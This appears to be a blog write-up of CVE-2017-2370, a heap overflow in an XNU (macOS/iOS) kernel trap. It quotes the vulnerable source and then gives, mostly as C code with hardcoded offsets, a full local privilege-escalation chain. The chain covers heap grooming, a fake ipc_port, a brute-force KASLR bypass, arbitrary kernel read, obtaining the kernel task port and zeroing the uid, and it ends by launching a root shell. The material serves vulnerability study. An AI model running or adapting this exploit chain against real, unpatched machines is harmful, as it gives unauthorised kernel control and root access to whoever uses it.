CVE-2017-2370

CVE-2017-2370

Bug

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
kern_return_t
mach_voucher_extract_attr_recipe_trap(struct mach_voucher_extract_attr_recipe_args *args)
{
ipc_voucher_t voucher = IV_NULL;
kern_return_t kr = KERN_SUCCESS;
mach_msg_type_number_t sz = 0;

// recipe_size is a pointer
if (copyin(args->recipe_size, (void *)&sz, sizeof(sz)))
return KERN_MEMORY_ERROR;
// now the value of sz is *(args->recipe_size)

if (sz > MACH_VOUCHER_ATTR_MAX_RAW_RECIPE_ARRAY_SIZE)
return MIG_ARRAY_TOO_LARGE;

voucher = convert_port_name_to_voucher(args->voucher_name);
if (voucher == IV_NULL)
return MACH_SEND_INVALID_DEST;

mach_msg_type_number_t __assert_only max_sz = sz;

if (sz < MACH_VOUCHER_TRAP_STACK_LIMIT) {
/* keep small recipes on the stack for speed */
uint8_t krecipe[sz];
if (copyin(args->recipe, (void *)krecipe, sz)) {
kr = KERN_MEMORY_ERROR;
goto done;
}
kr = mach_voucher_extract_attr_recipe(voucher, args->key,
(mach_voucher_attr_raw_recipe_t)krecipe, &sz);
assert(sz <= max_sz);

if (kr == KERN_SUCCESS && sz > 0)
kr = copyout(krecipe, (void *)args->recipe, sz);
} else {
// krecipe is a pointer
uint8_t *krecipe = kalloc((vm_size_t)sz);
if (!krecipe) {
kr = KERN_RESOURCE_SHORTAGE;
goto done;
}

// args->recipe_size is a pointer! A pointer is passed a length here, which cause a heap overflow.
if (copyin(args->recipe, (void *)krecipe, args->recipe_size)) {
kfree(krecipe, (vm_size_t)sz);
kr = KERN_MEMORY_ERROR;
goto done;
}

kr = mach_voucher_extract_attr_recipe(voucher, args->key,
(mach_voucher_attr_raw_recipe_t)krecipe, &sz);
assert(sz <= max_sz);

if (kr == KERN_SUCCESS && sz > 0)
kr = copyout(krecipe, (void *)args->recipe, sz);
kfree(krecipe, (vm_size_t)sz);
}

kr = copyout(&sz, args->recipe_size, sizeof(sz));

done:
ipc_voucher_release(voucher);
return kr;
}

Luckily, args->recipe can be controlled in user mode, and copyout will stop when it meets an unmap memory. So we can also control the overflow length by umapping the memory.

Exploit

When we send OOL ports

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
mach_msg_return_t
ipc_kmsg_copyin_body(
ipc_kmsg_t kmsg,
ipc_space_t space,
vm_map_t map) {

// ...
case MACH_MSG_OOL_PORTS_DESCRIPTOR:
user_addr = ipc_kmsg_copyin_ool_ports_descriptor((mach_msg_ool_ports_descriptor_t *)kern_addr,
user_addr, is_task_64bit, map, space, dest, kmsg, &mr);
kern_addr++;
complex = TRUE;
break;
// ...
}
will call ```ipc_kmsg_copyin_ool_ports_descriptor``` to read ool ports and allocate memory for it
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38

```c
mach_msg_descriptor_t *
ipc_kmsg_copyin_ool_ports_descriptor(
mach_msg_ool_ports_descriptor_t *dsc,
mach_msg_descriptor_t *user_dsc,
int is_64bit,
vm_map_t map,
ipc_space_t space,
ipc_object_t dest,
ipc_kmsg_t kmsg,
mach_msg_return_t *mr)
{
// ...

ports_length = count * sizeof(mach_port_t);
names_length = count * sizeof(mach_port_name_t);

if (ports_length == 0) {
return user_dsc;
}

data = kalloc(ports_length);
// ...

objects = (ipc_object_t *) data;
dsc->address = data;

for ( i = 0; i < count; i++) {
mach_port_name_t name = names[i];
ipc_object_t object;

if (!MACH_PORT_VALID(name)) {
objects[i] = (ipc_object_t)CAST_MACH_NAME_TO_PORT(name);
continue;
}
}
}

It will be cast to ipc_object_t, a pointer to ipc_object. So we can try to send many MACH_PORT_DEAD to kalloc.256 and overwrite them later and make it point to a fake ipc_object in user space.

After copyout, the memory will be free.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
mach_msg_descriptor_t *
ipc_kmsg_copyout_ool_ports_descriptor(mach_msg_ool_ports_descriptor_t *dsc,
mach_msg_descriptor_t *user_dsc,
int is_64bit,
vm_map_t map,
ipc_space_t space,
ipc_kmsg_t kmsg,
mach_msg_return_t *mr) {
// ...
if (rcv_addr != 0) {
mach_port_t *objects = (mach_port_t *) dsc->address;
mach_port_name_t *names = (mach_port_name_t *) dsc->address;

/* copyout port rights carried in the message */

for ( i = 0; i < count ; i++) {
ipc_object_t object = (ipc_object_t)objects[i];

*mr |= ipc_kmsg_copyout_object(space, object,
disp, &names[i]);
}

/* copyout to memory allocated above */
void *data = dsc->address;
if (copyoutmap(map, data, rcv_addr, names_length) != KERN_SUCCESS)
*mr |= MACH_MSG_VM_SPACE;
kfree(data, ports_length);
// ...
}

Heap Fengshui

Since iOS 9, Apple added random_free_to_zone() when calling zcram which will randomly insert element to the beginning or ending of free_elements. It will be called when try to expand the zone when zone is empty. So we need some trick to control the memory layout of kernel zone.

zalloc will call try_alloc_from_zone(called by zalloc_internal actually). It will return the first element in the free_list.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
// osfmk/kern/zalloc.c
static inline vm_offset_t
try_alloc_from_zone(zone_t zone,
boolean_t* check_poison)
{
// ...
element = (vm_offset_t)page_metadata_get_freelist(page_meta);
// ...
vm_offset_t *primary = (vm_offset_t *) element;
vm_offset_t *backup = get_backup_ptr(zone->elem_size, primary);

/*
* Since the primary next pointer is xor'ed with zp_nopoison_cookie
* for obfuscation, retrieve the original value back
*/
vm_offset_t next_element = *primary ^ zp_nopoison_cookie;
vm_offset_t next_element_primary = *primary;
vm_offset_t next_element_backup = *backup;
// ...
return element;
}

And free_to_zone will add free element to the front of free_list

1
2
3
4
static inline void
free_to_zone(zone_t zone,
vm_offset_t element,
boolean_t poison);

We use the following steps to control the memory layout

  • First, send a lot of messages with OOL ports to kernel(don’t send to much messages here).

  • Then receive some messages to free some ports in kalloc.256.

  • Finally, send some messages again, then newly allocated memory will be allocated near the area that was just freed.

Overflow

Preparing parameter.

1
2
3
uint64_t cp_size = kalloc_size + 8;  // 8 for overflow size
uint64_t roundup_size = roundup(cp_size, getpagesize());
uint64_t alloc_size = roundup_size + getpagesize();

Allocating memory

1
kr = mach_vm_allocate(mach_task_self(), &map_addr, alloc_size, VM_FLAGS_ANYWHERE);

Unmapping memory, so it will only copy the memory between start and end.

1
2
3
4
5
uint64_t base = map_addr;
uint64_t end = base + roundup_size;

kr = mach_vm_deallocate(mach_task_self(), end, getpagesize()); // unmap the memory
uint64_t start = end - cp_size;

Overwrite next port, make it point to our fakeport.

1
2
memset(recipe, 0x41, kalloc_size);
memcpy(recipe + kalloc_size, (uint8_t *)&fakeport, 8);

Finally, we can trigger the bug, vp is voucher port here.

1
kr = mach_voucher_extract_attr_recipe_trap(vp, 1, recipe, recipe_size);

Privilege escalation

Now the mach_port_t points to our fake ipc_port in user space, which is completely controlled by us. We need to spawn our root shell.

Let’s take a look at the port structure.

1
2
3
4
5
struct port {
// ...
kauth_cred_t p_ucred; /* Process owner's identity. (PL) */ // offset: 0xe8
// ...
};
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
struct ucred {
TAILQ_ENTRY(ucred) cr_link; /* never modify this without KAUTH_CRED_HASH_LOCK */
u_long cr_ref; /* reference count */

struct posix_cred {
/*
* The credential hash depends on everything from this point on
* (see kauth_cred_get_hashkey)
*/
uid_t cr_uid; /* effective user id */ // offset: 0x18
uid_t cr_ruid; /* real user id */
uid_t cr_svuid; /* saved user id */
short cr_ngroups; /* number of groups in advisory list */
gid_t cr_groups[NGROUPS]; /* advisory group list */
gid_t cr_rgid; /* real group id */
gid_t cr_svgid; /* saved group id */
uid_t cr_gmuid; /* UID for group membership purposes */
int cr_flags; /* flags on credential */
} cr_posix;
struct label *cr_label; /* MAC label */
/*
* NOTE: If anything else (besides the flags)
* added after the label, you must change
* kauth_cred_find().
*/
struct au_session cr_audit; /* user auditing data */
};

If we can set uid_t cr_uid to 0 then we can get root privilege. XNU kernel uses a link list called allproc to maintain the processes. So after getting kernel slide and get kernel memory rw we can easily overwrite our uid in allproc.

KASLR

We already have an ipc_port fully controlled by us. Take a look at the following routine.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
kern_return_t
clock_sleep_trap(
struct clock_sleep_trap_args *args) {
// ...

if (clock_name == MACH_PORT_NULL)
clock = &clock_list[SYSTEM_CLOCK];
else
clock = port_name_to_clock(clock_name);

swtime.tv_sec = sleep_sec;
swtime.tv_nsec = sleep_nsec;

/*
* Call the actual clock_sleep routine.
*/
rvalue = clock_sleep_internal(clock, sleep_type, &swtime);
// ...
}

and clock_sleep_internal will return KERN_FAILURE when clock != &clock_list[SYSTEM_CLOCK].And port_name_to_clock returns port->ip_kobject; So we can find the address of clock_list by brute force search.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
kern_return_t kr = 0;
uint64_t clock_list = 0xffffff8000a271c0; // nm /System/Library/Kernel/kernel | grep _clock_list
uint64_t allproc = 0xffffff8000abb490; // nm /System/Library/Kernel/kernel | grep allproc
uint64_t clock_list_addr = 0;
uint64_t base = 0xffffff8000200000; // kernel_base_addr = 0x200000 * slide_value + base
uint64_t kernel_slide = 0;
boolean_t found_clock = 0;

fakeport->io_bits = IO_BITS_ACTIVE | IKOT_CLOCK; // fake clock
fakeport->io_lock_data[12] = 0x11;

for (int i = 0; i < 0xFFFF; i++) {
for (int k = 0; k <= 0x200000 / 8; k += 8) {
*(uint64_t *)(((uint64_t)fakeport) + 0x68) = base + i * 0x200000 + k; // brute force, set fakeport->ip_kobject
kr = clock_sleep_trap(port, 0, 0, 0, 0);
if (kr != KERN_FAILURE) {
printf("[+] found clock_list! 0x%llx\n", *(uint64_t *)(((uint64_t)fakeport) + 0x68));
clock_list_addr = *(uint64_t *)(((uint64_t)fakeport) + 0x68);
found_clock = 1;
goto found;
}
}
}

After finding clock, we can get kernel slide easily.

1
2
kernel_slide = clock_list_addr - clock_list;
allproc += kernel_slide;

Read arbitrary kernel memory

After reading XNU source code, we can find that

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
kern_return_t
pid_for_task(
struct pid_for_task_args *args)
{
mach_port_name_t t = args->t;
user_addr_t pid_addr = args->pid;
proc_t p;
task_t t1;
int pid = -1;
kern_return_t err = KERN_SUCCESS;

AUDIT_MACH_SYSCALL_ENTER(AUE_PIDFORTASK);
AUDIT_ARG(mach_port1, t);

t1 = port_name_to_task(t);

if (t1 == TASK_NULL) {
err = KERN_FAILURE;
goto pftout;
} else {
p = get_bsdtask_info(t1);
if (p) {
pid = proc_pid(p);
err = KERN_SUCCESS;
} else {
err = KERN_FAILURE;
}
}
task_deallocate(t1);
pftout:
AUDIT_ARG(pid, pid);
(void) copyout((char *) &pid, pid_addr, sizeof(int));
AUDIT_MACH_SYSCALL_EXIT(err);
return(err);
}

pid_for_task won’t check wether the task is valid or not, but simply return

1
*(*(uint64_t *)(task + 0x380) + 0x10)

Remember that we have a fake port already and we also have a mach_port_t points to that port we have. So we can achieve arbitrary kernel memory reading by using pid_for_task.

1
2
3
4
5
6
uint32_t read_kernel(mach_port_t port, void *faketask, uint64_t addr) {
uint32_t res;
*(uint64_t *)(faketask + 0x380) = addr - 0x10;
pid_for_task(port, &res);
return res;
}

Now, convert our fake port to a task port.

1
2
3
fakeport->io_bits = IKOT_TASK | IO_BITS_ACTIVE;  // cast fakeport to a task
fakeport->io_references = 0xff;
char *faketask = ((char *)fakeport) + 0x1000;

Set the kobject to our faketask

1
2
3
*(uint64_t *)(((uint64_t)fakeport) + 0x68) = faketask;
*(uint64_t *)(((uint64_t)fakeport) + 0xa0) = 0xff;
*(uint64_t *)(faketask + 0x10) = 0xee;

Now we can find kernel proc and our own proc.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
printf("[*] try to find kernel proc\n");
uint32_t proc_offset = 0, r1, r2;
uint64_t kernel_proc = 0, self_proc = 0;
while (1) {
uint64_t n;
r1 = read_kernel(port, faketask, allproc);
r2 = read_kernel(port, faketask, allproc + 0x4);
memcpy((char *)&n, &r1, sizeof(uint32_t));
memcpy((char *)&n + 4, &r2, sizeof(uint32_t));

uint32_t proc = read_kernel(port, faketask, allproc + 0x10); // pid is located at the offset of 0x10
if (proc == getpid()) {
self_proc = allproc;
printf("[+] found self proc pid=%d addr=0x%llx\n", proc, self_proc);
} else if (proc == 0) {
kernel_proc = allproc;
printf("[+] found kernel proc pid=%d addr=0x%llx\n", proc, kernel_proc);
}
allproc = n; // next pointer is at the offset of 0

if (self_proc != 0 && kernel_proc != 0) break;
}

Arbitrary kernel memory writing

After getting the address of kernel_proc, we can dump the whole task and task port sturcture to user land.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
char *kernel_task_port_dump = malloc(0x1000);
char *kernel_task_dump = malloc(0x1000);

uint64_t kernel_task = 0, kernel_itk_self = 0; // osfmk/kern/task

// check the sturcture to get the following offset
r1 = read_kernel(port, faketask, kernel_proc + 0x18);
r2 = read_kernel(port, faketask, kernel_proc + 0x18 + 0x4);
memcpy((char *)&kernel_task, &r1, sizeof(uint32_t));
memcpy((char *)&kernel_task + 4, &r2, sizeof(uint32_t));
printf("[+] kernel_task=0x%llx, kernel_itk_sself=0x%llx\n", kernel_task, kernel_itk_self);

r1 = read_kernel(port, faketask, kernel_task + 0xe8);
r2 = read_kernel(port, faketask, kernel_task + 0xe8 + 0x4);
memcpy((char *)&kernel_itk_self, &r1, sizeof(uint32_t));
memcpy((char *)&kernel_itk_self + 4, &r2, sizeof(uint32_t));

printf("[+] kernel_task=0x%llx, kernel_itk_sself=0x%llx\n", kernel_task, kernel_itk_self);

for (int i = 0; i < 0x1000 / 4; ++i) {
r1 = read_kernel(port, faketask, kernel_task + i * 4);
memcpy(kernel_task_dump + i * 4, &r1, sizeof(uint32_t));
}

for (int i = 0; i < 0x1000 / 4; ++i) {
r1 = read_kernel(port, faketask, kernel_itk_self + i * 4);
memcpy(kernel_task_port_dump + i * 4, &r1, sizeof(uint32_t));
}

memcpy(fakeport, kernel_task_port_dump, 0x1000);
memcpy(faketask, kernel_task_dump, 0x1000);

Then we use task_get_special_port to clone a send right for one of the task’s special ports.

1
2
3
4
5
6
7
8
9
*(uint64_t *)(((uint64_t)fakeport) + 0x68) = faketask;
*(uint64_t *)(((uint64_t)fakeport) + 0xa0) = 0xff;

*(uint64_t *)(((uint64_t)faketask) + 0x2b8) = kernel_itk_self;
mach_port_t tfp0;

task_get_special_port(port, 4, &tfp0);
printf("[+] tfp0 0x%x\n", tfp0);
fakeport->io_bits = 0;

Time to get root!

Now we can directly overwrite uid to get root privilege.

1
2
3
4
5
6
//get root
uint64_t cred;
r1 = read_kernel(port, faketask, self_proc + 0xe8);
r2 = read_kernel(port, faketask, self_proc + 0xe8 + 0x4);
memcpy((char *)&cred, &r1, sizeof(uint32_t));
memcpy((char *)&cred + 4, &r2, sizeof(uint32_t));
1
2
3
uint64_t u = 0;
mach_vm_write(tfp0, cred + 0x18, (vm_offset_t)&u, (mach_msg_type_number_t)8);
if (getuid() == 0) printf("[+] g0t r00t! getuid = %d\n", getuid());

Get root shell now!

1
system("/bin/bash");

Some sturcture we use…

1
2
3
4
5
6
7
8
typedef struct ipc_port	        *ipc_port_t;

#define IPC_PORT_NULL ((ipc_port_t) 0UL)
#define IPC_PORT_DEAD ((ipc_port_t)~0UL)
#define IPC_PORT_VALID(port) \
((port) != IPC_PORT_NULL && (port) != IPC_PORT_DEAD)

typedef ipc_port_t mach_port_t;
1
2
3
4
5
6
extern kern_return_t clock_sleep_trap(
mach_port_name_t clock_name,
sleep_type_t sleep_type,
int sleep_sec,
int sleep_nsec,
mach_timespec_t *wakeup_time);
1
2
3
4
5
6
7
struct	proc {
LIST_ENTRY(proc) p_list; /* List of all processes. */

pid_t p_pid; /* Process identifier. (static)*/
void * task; /* corresponding task (static)*/
// ...
}